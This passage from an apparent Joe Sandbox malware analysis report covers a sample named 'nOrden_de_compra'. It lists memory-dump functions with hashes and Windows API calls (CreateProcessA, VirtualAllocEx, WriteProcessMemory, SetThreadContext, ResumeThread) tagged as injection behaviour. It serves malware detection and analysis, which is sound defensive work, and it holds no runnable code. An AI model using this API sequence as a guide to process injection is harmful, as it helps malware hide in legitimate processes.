Instruction ID: 5299f840f361404ab0c547341cf5db49d3716f8ecbab5cce3ed3423298a57644
Opcode Fuzzy Hash: 30477a938833b15116e2cefe2f27175b6692ccf61e25cc4a97fb2615959a81b8
Instruction Fuzzy Hash: F032CDB0B01A048FDB19DB79D554BAEBBFAAF89700F248469E5469B3D1CB30ED01CB51

Uniqueness

Uniqueness Score: -1.00%

Function 07224070 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928ca492727187404661820668c4b5f96b0ef8100c8a95353591f3663200dbed
Instruction ID: 8f92c7b3818fb0e959787a26678b3653f212ea95bcfa8a6f9d941d34fb7293c5
Opcode Fuzzy Hash: 928ca492727187404661820668c4b5f96b0ef8100c8a95353591f3663200dbed
Instruction Fuzzy Hash: DDC186B5E016588FDB58DF6AC944ADDBBF2BF89300F14C1A9D909AB324DB305E858F50

Uniqueness

Uniqueness Score: -1.00%

Function 072233E0 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 644bf80f7a359c6da5c7d25f0e984e4015a54377eeac1a0088ad0655280865b6
Instruction ID: fcd7479bdb44e71a3d8e8dea1adc27f3da972c0882b7e04df47c50c282754927
Opcode Fuzzy Hash: 644bf80f7a359c6da5c7d25f0e984e4015a54377eeac1a0088ad0655280865b6
Instruction Fuzzy Hash: 7461F8B8E112198FDB54DFA9D8947ADBBB2FB89300F208129D909BB398DB345D45CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0722E500 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ec35f80a7ae3d7d9327a092a8127bae54942a32caa5c1734dc67412f3f73755
Instruction ID: aaed141c7d92c0ca7f85cbc1a78a865de88ea428c98e70270ca7c193fb40cfdc
Opcode Fuzzy Hash: 1ec35f80a7ae3d7d9327a092a8127bae54942a32caa5c1734dc67412f3f73755
Instruction Fuzzy Hash: C461FCB5E1021D9FDB04DFE9D4846EEBBB2FF89300F108029E915AB258DB345946DF50

Uniqueness

Uniqueness Score: -1.00%

Function 071E5834 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 071E5A76

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e0536605489b7f5de3d81d973a8424a72c4197caf7ac9378f9923b2fb433b865
Instruction ID: ce89960646756d94783ed2c5bb373d8be085f37e5b1aba219f2ae84a95ebd66c
Opcode Fuzzy Hash: e0536605489b7f5de3d81d973a8424a72c4197caf7ac9378f9923b2fb433b865
Instruction Fuzzy Hash: 0FA15BB1D0061ACFEB11CF68CC417EDBBB6BF48314F148169E849A7280DB759A95CF91

Uniqueness

Uniqueness Score: -1.00%

Function 071E5840 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 071E5A76

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b78d79bb5f4d4374c3accb009027660abe82132086ed395da0a1b47fc7ad227b
Instruction ID: 85cd65212710b7114b57726b9cf45a252421cb27431e227e234c594e8c593158
Opcode Fuzzy Hash: b78d79bb5f4d4374c3accb009027660abe82132086ed395da0a1b47fc7ad227b
Instruction Fuzzy Hash: 2C915BB1D0061ACFEB15CF68CC417EDBBB6BF48314F148169E849A7280DB749A95CF91

Uniqueness

Uniqueness Score: -1.00%

Function 050EAD68 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 050EAFBE

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ff84f1f11f85d0d125ebf99e4c9db609e1bb8ed68b2dd1c93c6cc13ecf23145f
Instruction ID: 2b94ee8265c28a2adb554dae0aa58851e73bf4a19e5995b0c0726e42806fb4fa
Opcode Fuzzy Hash: ff84f1f11f85d0d125ebf99e4c9db609e1bb8ed68b2dd1c93c6cc13ecf23145f
Instruction Fuzzy Hash: 3E711470A00B058FD764DF6AE44976ABBF6BF88304F10892DD486D7B50DB75E849CB90

Uniqueness

Uniqueness Score: -1.00%

Function 050E590C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 050E59C9

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 30d7ac5564a2e7ff59d5e4e1f8bca620ab8f3f28ee2ae3bca7c1f50f8e1d7b88
Instruction ID: f3e7369a9d9c7f2cd5102e1a0ccc9342b7d11de235d2ad76eec313ddda780118
Opcode Fuzzy Hash: 30d7ac5564a2e7ff59d5e4e1f8bca620ab8f3f28ee2ae3bca7c1f50f8e1d7b88
Instruction Fuzzy Hash: DC41DDB0C0061DCBDB24CFA9C985BCEBBF6BF48704F24855AD408AB251DB756945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 050E44B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 050E59C9

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 16cbd4e74e0f992a2bbbcf06ec60b39b5be429fa80c727ea39e38bdf0b4a9025
Instruction ID: 9a955e487ad3ae53c71e421e95717dee9d952599be692f78983eb604d9c09e80
Opcode Fuzzy Hash: 16cbd4e74e0f992a2bbbcf06ec60b39b5be429fa80c727ea39e38bdf0b4a9025
Instruction Fuzzy Hash: 1641DDB0C0061DCBDB24DFA9C985BCEBBF6BF48304F20856AD408AB251DBB56945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 071E55B3 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 071E5648

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 553aeab15fe4d7a06338400707644d3e6b7fcfce24bf70443b737b587bb6ff34
Instruction ID: c7635f84a2d6087cbae9def4c160974e8cbbf7fa36674c49782cb491f7701bbe
Opcode Fuzzy Hash: 553aeab15fe4d7a06338400707644d3e6b7fcfce24bf70443b737b587bb6ff34
Instruction Fuzzy Hash: 812148B59003099FDF10CFA9C981BDEBBF5FF48314F10842AE918A7240D7789954CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 071E55B8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 071E5648

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: aad3734c04fb0b0654cd23032def8e0e5bfbe3c05552f2be979d31900ecfae4a
Instruction ID: 7feba3f741bd0629fd53c9002717d5938b4cbb926d5cac9596478ca5c73fbf1c
Opcode Fuzzy Hash: aad3734c04fb0b0654cd23032def8e0e5bfbe3c05552f2be979d31900ecfae4a
Instruction Fuzzy Hash: C92127B59003599FDF10CFA9C981BDEBBF5FF48324F10842AE918A7240D7789954CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 071E4FE0 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 071E5066

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9b64df7a4941bd31a23e737c5aec68b6aff85755faa7ad521ffb9f4706bd431b
Instruction ID: f73ef4ff4fa5dae9a0555955e72613b630f5b77b0d8c6601a0a8305d7347d08e
Opcode Fuzzy Hash: 9b64df7a4941bd31a23e737c5aec68b6aff85755faa7ad521ffb9f4706bd431b
Instruction Fuzzy Hash: F7216AB19003098FDB10DFAAC8817EEBBF5FF48324F14842AE518A7240DB789944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 071E56A0 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 071E5728

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 770f6d14d92f10824caf4c48315998b14b0cb8ef2ed385209230d746a67e69db
Instruction ID: 1b5a4c5f3781ec952aa44212a24331d365280a9b21c060c45a9c84de9b7d08ff
Opcode Fuzzy Hash: 770f6d14d92f10824caf4c48315998b14b0cb8ef2ed385209230d746a67e69db
Instruction Fuzzy Hash: 052139B18003599FDF10CFAAC981BEEBBF5FF48320F50842AE558A7240C7789550CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 050ED23C Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,050ED616,?,?,?,?,?), ref: 050ED6D7

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5bcb64e07a8ba935b2c5f9f565f38c50d507507132ad7bded6d5c2e3d361df58
Instruction ID: 5547879de7932992452775286f850e26b8bc911821796d61648b7e82e1099119
Opcode Fuzzy Hash: 5bcb64e07a8ba935b2c5f9f565f38c50d507507132ad7bded6d5c2e3d361df58
Instruction Fuzzy Hash: 1D21E5B5900249DFDB10CF9AD584ADEFBF5FB48320F14841AE919A7310D378A954CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 071E4FE8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 071E5066

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ffd5834710c10f9408ff376426bd390003f6030f8d9458c62f546b1c2a03cf47
Instruction ID: ed53f0b329736ec28b7877bbb10de82e9f116891a2929dc0bce0e8bfd1b2a36b
Opcode Fuzzy Hash: ffd5834710c10f9408ff376426bd390003f6030f8d9458c62f546b1c2a03cf47
Instruction Fuzzy Hash: AD2138B19003098FDB10DFAAC9857EEBBF5AF88324F148429E519A7240DB789944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 071E56A8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 071E5728

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3479e6fe8dc468fb9916a81d658cd54f98da3eb24ab33126f10b6f490354c97a
Instruction ID: 1ff149772416d32f2dbec106d25217e6509e56dca5ccbc01fd0c3ec5c0a00c6f
Opcode Fuzzy Hash: 3479e6fe8dc468fb9916a81d658cd54f98da3eb24ab33126f10b6f490354c97a
Instruction Fuzzy Hash: B32116B18003499FDB10DFAAC981ADEBBF5FF48320F508429E558A7240D7789510CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 050ED648 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,050ED616,?,?,?,?,?), ref: 050ED6D7

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9647f787e7eb75b2b15e3160e892991f3c66512c0873b97b8b439f2f6a548e10
Instruction ID: 427e5f2ace4aac31dcb423953d99664cf2ab35d984a6ce9a1a004a4db6b0b949
Opcode Fuzzy Hash: 9647f787e7eb75b2b15e3160e892991f3c66512c0873b97b8b439f2f6a548e10
Instruction Fuzzy Hash: 9F21E0B69002499FDB10CFAAD584ADEBBF5FB48320F24841AE958A3310C378A954CF64

Uniqueness

Uniqueness Score: -1.00%

Function 071E54F0 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 071E5566

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4e8d52f3b3511d1f03a1439bb3212bfe56500b85e9091b18a5ae845fae4b1d1e
Instruction ID: c3860399ec3945f26ca3054c529149d9deb6bfc08d36e78def3360da5c4119b5
Opcode Fuzzy Hash: 4e8d52f3b3511d1f03a1439bb3212bfe56500b85e9091b18a5ae845fae4b1d1e
Instruction Fuzzy Hash: D8216A7680034A9FDB10DFA9C841BDEBBF5FF48724F108419E515A7240C7759550CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 050EA0F0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,050EB039,00000800,00000000,00000000), ref: 050EB24A

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9f95a12bced52e1488ab179a8cc096975ee0c2040af9ba692391ca158b41df0f
Instruction ID: 144bdf4650e75f968adb0d4d987380f1d5061408f1f0abc0eaf9267db586f140
Opcode Fuzzy Hash: 9f95a12bced52e1488ab179a8cc096975ee0c2040af9ba692391ca158b41df0f
Instruction Fuzzy Hash: 461103B69042098FDB10CF9AD484A9EFBF5AF88320F10842EE519A7200C779A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 050EB1D9 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,050EB039,00000800,00000000,00000000), ref: 050EB24A

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5f0834b62f54c8bb400949a5a22eb8e56a322c8fdacb50c59811d595e4370a0c
Instruction ID: 143d30e4d508886a6b461424669bf091a9fde084b1698ba72cd9cbe95aba5e3c
Opcode Fuzzy Hash: 5f0834b62f54c8bb400949a5a22eb8e56a322c8fdacb50c59811d595e4370a0c
Instruction Fuzzy Hash: 621100B69042099FDB10CF9AD884BDEFBF5AF88320F10842AE519A7210C779A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 071E54F8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 071E5566

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5e1e1195c4ceea74f9df5ea26b663da96aa31390699fab5899ec1c81b5bed87a
Instruction ID: 4fda2b5b98bf6db732206621af86b6f6d9f14bc739092215bcce60c2d8a40de2
Opcode Fuzzy Hash: 5e1e1195c4ceea74f9df5ea26b663da96aa31390699fab5899ec1c81b5bed87a
Instruction Fuzzy Hash: 141126728002499FDB10DFAAC945BDEBBF6AF88724F148419E619A7250CB75A550CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 071E4F30 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 071E4F9A

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 038b51b7bc88e93c4dc8c8fb10b1888436d81531eed38dbd2b11cd83d32ea77b
Instruction ID: d485e42746482451e2f9a675e2a96188ac69328577f86f8ffa063bd4416bafad
Opcode Fuzzy Hash: 038b51b7bc88e93c4dc8c8fb10b1888436d81531eed38dbd2b11cd83d32ea77b
Instruction Fuzzy Hash: DA1146B58003498FDB20DFAAC5857EEFBF5EF88720F248419D519A7240CB79A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 071E4F38 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 071E4F9A

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: dce5d5f9c0636b0573fdd546b9378e7f55641cac8f083999fa420ef9b8ef9df9
Instruction ID: 3e6d3fc0b01d233257b6a7ffb0328834f76cefec4f74c079391d693d6b8e90e3
Opcode Fuzzy Hash: dce5d5f9c0636b0573fdd546b9378e7f55641cac8f083999fa420ef9b8ef9df9
Instruction Fuzzy Hash: 41113AB19003498FDB20DFAAC94579EFBF5AF88724F248419D519A7240CB79A944CB94

Uniqueness

Uniqueness Score: -1.00%

Function 071E9DB8 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 071E9E1D

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: cb998eeb99b1295a7e090f9751a4eb192e0da27d7562b8622c25cfb4101ebe34
Instruction ID: 5cf48b999b4b626b6afac8a35ee13a4a207049a3870bc035825ff14425256183
Opcode Fuzzy Hash: cb998eeb99b1295a7e090f9751a4eb192e0da27d7562b8622c25cfb4101ebe34
Instruction Fuzzy Hash: D71102B58007499FCB20CF9AD485BDEFBF8FB48320F108459DA54A3600C374A554CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E6CB0 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 071E9E1D

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 5d2b89e9b9404525765c7cf4673e6d3e94ed59e714f09f6ae54ebbb30ec3a7a7
Instruction ID: 01c1ff641f9429348d9658a68248d22833b37c0af5348e604141a182753c937b
Opcode Fuzzy Hash: 5d2b89e9b9404525765c7cf4673e6d3e94ed59e714f09f6ae54ebbb30ec3a7a7
Instruction Fuzzy Hash: B91125B58047499FCB10DF8AC584BDEBBF8FB48320F108459E519B7240C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050EAF58 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 050EAFBE

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7609302eabc1c0c3d26ad1ad719165f5c8a74bfd15153b5914bb3199806b1318
Instruction ID: b33aa2d6ba867624da979fe2fb1c7950d6e1ca38917fb2a131152d7163b6380c
Opcode Fuzzy Hash: 7609302eabc1c0c3d26ad1ad719165f5c8a74bfd15153b5914bb3199806b1318
Instruction Fuzzy Hash: 25110FB6D042498FCB10CF9AD444BDEFBF4AB88224F21842AD419A7600C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 072233F0 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231b137a57cb0dced93b29e1f8814981b3f914d8a458400340b493d6b293f917
Instruction ID: 737951cdc1a98a659f6ee38e0a21ba40a663ce5507edb09a76535fb5b437e1d2
Opcode Fuzzy Hash: 231b137a57cb0dced93b29e1f8814981b3f914d8a458400340b493d6b293f917
Instruction Fuzzy Hash: F261F8B4E102198FDB54DFA9D894BADBBB2FB89300F208129D909BB398DB345D45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 07223698 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a507d267fe07b9ccef03fe4adeb1c4d6b6c5d7fb7c37a6c82d81ce7cffb577d
Instruction ID: 4af3e9eada16d90a63910b460565f692afb661f46119320d72584bdb59d89ca5
Opcode Fuzzy Hash: 4a507d267fe07b9ccef03fe4adeb1c4d6b6c5d7fb7c37a6c82d81ce7cffb577d
Instruction Fuzzy Hash: 9681D578E11228CFDB64DF64D890BADBBB2FB89300F108099E949A7355DB349D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0722DD30 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6de98bd6c294c0363efbfba98571c4c9d3e1e499855306d605f31204d425eed8
Instruction ID: 0d4d9aa2c571bc9dd7fab93fa13664a4a27099282ce12af99210e1f92e091492
Opcode Fuzzy Hash: 6de98bd6c294c0363efbfba98571c4c9d3e1e499855306d605f31204d425eed8
Instruction Fuzzy Hash: B8510675E1021E9FCB04DFE9D484AEEBBB2FF89300F108029E905AB254DB749946DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0722CC28 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 148c967dd2d3897e0a74ab30f86ff050ee1f4441d4e1811c52a82cd36597f93c
Instruction ID: 7101b32c631be47fbbdc9a4908fb6e4fe42ec81a8d95fb29255019aa13af0f20
Opcode Fuzzy Hash: 148c967dd2d3897e0a74ab30f86ff050ee1f4441d4e1811c52a82cd36597f93c
Instruction Fuzzy Hash: C641EF79E112299FCB04DFA8D884AEEBBB1FB4C320F149555E800B3354D775A995CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0722CD90 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 131838582cc232db1dd5ab2b984e7dfec5958468babd04d1c11db555583845e2
Instruction ID: e1a1c29b950026e9868bfc263f238a88e82ca2fc0b800ed14cdfdc23c32cb2d8
Opcode Fuzzy Hash: 131838582cc232db1dd5ab2b984e7dfec5958468babd04d1c11db555583845e2
Instruction Fuzzy Hash: 7F41B2B4E11219EFDB04CFA9D884AEDBBB2FF89310F109119E805B3254CB749882DF64

Uniqueness

Uniqueness Score: -1.00%

Function 072270DA Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
